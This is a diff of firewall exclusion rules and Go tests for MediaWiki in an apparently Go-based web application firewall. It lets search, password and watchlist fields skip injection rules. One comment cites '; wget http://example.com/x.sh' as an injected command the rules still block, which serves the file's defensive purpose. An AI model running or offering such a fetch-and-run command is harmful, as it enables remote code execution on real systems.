ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
|
||||||
ctl:ruleRemoveTargetById=932180;FILES"
|
ctl:ruleRemoveTargetById=932180;FILES"
|
||||||
|
|
||||||
# The API's searches, titles, names and file names, in the query or the body,
|
# The API's searches, titles, names and file names, in the query or the body:
|
||||||
# with or without the g of a generator:
|
|
||||||
# search: /api.php?action=opensearch&search=python3
|
# search: /api.php?action=opensearch&search=python3
|
||||||
# srsearch, pssearch: /api.php?action=query&list=search&srsearch=python3
|
# srsearch, pssearch: /api.php?action=query&list=search&srsearch=python3
|
||||||
# titles, title, page: /api.php?action=parse&page=Python3+notes
|
# titles, title, page: /api.php?action=parse&page=Python3+notes
|
||||||
@@ -56,7 +62,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
|
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
|
||||||
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
|
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
|
||||||
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
|
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
|
||||||
|
# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
|
||||||
|
# gbltitle, geuquery: the same fields from a generator,
|
||||||
|
# /api.php?action=query&generator=allpages&gapprefix=python3
|
||||||
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
|
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
|
||||||
|
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
|
||||||
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
|
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
|
||||||
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
|
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
|
||||||
# user: blocking, unblocking or changing the groups of a user, user=Python3
|
# user: blocking, unblocking or changing the groups of a user, user=Python3
|
||||||
@@ -70,10 +80,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
# allow.
|
# allow.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||||
"id:900901,phase:1,pass,nolog,\
|
"id:900901,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^g?(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^g?(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^g?(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^g?(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||||
ctl:ruleRemoveTargetById=932180;FILES"
|
ctl:ruleRemoveTargetById=932180;FILES"
|
||||||
|
|
||||||
# The search box's suggestions and the search through the REST API:
|
# The search box's suggestions and the search through the REST API:
|
||||||
@@ -105,6 +115,192 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
||||||
|
|
||||||
|
# These passwords skip each rule random passwords set off, on MediaWiki's pages:
|
||||||
|
# wpPassword: signing in and signing up
|
||||||
|
# and on /api.php:
|
||||||
|
# lgpassword: signing in with action=login
|
||||||
|
# password, retype: action=clientlogin, createaccount and
|
||||||
|
# changeauthenticationdata
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
|
"id:900917,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
|
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||||
|
"id:900918,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:lgpassword|password|retype)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password|retype)$/"
|
||||||
|
|
||||||
|
# Other apps use the names password and retype too, and these exclusions apply
|
||||||
|
# in front of every app. So these two fields skip the same rules only in the
|
||||||
|
# forms that send them. Each of these forms sends the field authAction, whose
|
||||||
|
# value is the same in every language:
|
||||||
|
# password, retype: authAction=change, changing the password at
|
||||||
|
# Special:ChangeCredentials
|
||||||
|
# retype: authAction=create, signing up at Special:CreateAccount
|
||||||
|
# retype: authAction=login-continue, setting a new password at
|
||||||
|
# Special:UserLogin after a reset or once the old one expired
|
||||||
|
# A wiki in another language posts these forms to its own names for the pages,
|
||||||
|
# such as Spezial:Benutzerkonto_anlegen on a German wiki. So the page's name
|
||||||
|
# does not count, but its title must have a namespace, such as Special: or
|
||||||
|
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
|
||||||
|
# of /index.php. A title on any other path does not count, so another app's
|
||||||
|
# paths under /index.php/ keep every rule. These rules are in phase 2, because
|
||||||
|
# the forms send authAction in the body. They check tx.app_mediawiki, since the
|
||||||
|
# skip above does not reach phase 2.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||||
|
"id:900919,phase:2,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||||
|
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
|
||||||
|
SecRule ARGS:authAction "@streq change" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype)$/"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||||
|
"id:900920,phase:2,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||||
|
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
||||||
|
SecRule &ARGS_GET:retype "@eq 0" "chain"
|
||||||
|
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:retype,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:retype"
|
||||||
|
|
||||||
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
||||||
# or prependtext, and the REST API in the JSON field source. Each of these
|
# or prependtext, and the REST API in the JSON field source. Each of these
|
||||||
# rules refused saving or previewing a page whose wikitext held a template, a
|
# rules refused saving or previewing a page whose wikitext held a template, a
|
||||||
@@ -174,3 +370,40 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
|
||||||
|
|
||||||
|
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
|
||||||
|
# line. Watchlists holding "Lighthouse notes" and then one of these titles
|
||||||
|
# were refused:
|
||||||
|
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
|
||||||
|
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
|
||||||
|
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
|
||||||
|
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
|
||||||
|
# refused. A watchlist that mixes a title holding one of these with a title
|
||||||
|
# starting with a command name is refused too.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
|
"id:900915,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
|
SecRule &ARGS_GET:wpTitles "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
|
||||||
|
|
||||||
|
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||||
|
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||||
|
# once, since it would otherwise skip these rules for a second wpTitles
|
||||||
|
# holding a command. It checks tx.app_mediawiki, since the skip above does not
|
||||||
|
# reach phase 2.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
|
"id:900916,phase:2,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
|
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
||||||
|
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||||
|
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||||
|
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||||
|
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||||
|
|
||||||
|
SecMarker END_MEDIAWIKI
|
||||||
@@ -3,12 +3,18 @@ package coreruleset_test
|
|||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
|
// mediawiki is MediaWiki's name in SWW_APPS.
|
||||||
|
const mediawiki = "mediawiki"
|
||||||
|
|
||||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||||
|
|
||||||
@@ -24,6 +30,12 @@ const mediawikiUpload = "/wiki/Special:Upload"
|
|||||||
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
||||||
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
||||||
|
|
||||||
|
// mediawikiAccountChange is the page that changes a password.
|
||||||
|
const mediawikiAccountChange = "/wiki/Special:ChangeCredentials"
|
||||||
|
|
||||||
|
// mediawikiSignUp is the page that creates an account.
|
||||||
|
const mediawikiSignUp = "/wiki/Special:CreateAccount"
|
||||||
|
|
||||||
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
||||||
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
||||||
|
|
||||||
@@ -42,14 +54,121 @@ const (
|
|||||||
mediawikiUploadPage = "/index.php/Special:Upload"
|
mediawikiUploadPage = "/index.php/Special:Upload"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {mediawiki},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only MediaWiki's fixes let through.
|
||||||
|
search := get("/index.php?title=Special:Search&search=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiQueryFields are a query field of each exclusion of a query
|
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
||||||
// field, on a path it applies to, each ending in "=".
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
|
Apps: map[string][]string{
|
||||||
|
giteaHost: {gitea},
|
||||||
|
otherHost: {mediawiki},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A watchlist that only the phase 2 rule 900916 lets through.
|
||||||
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
mediawikiWatchlist.target,
|
||||||
|
[]string{formData},
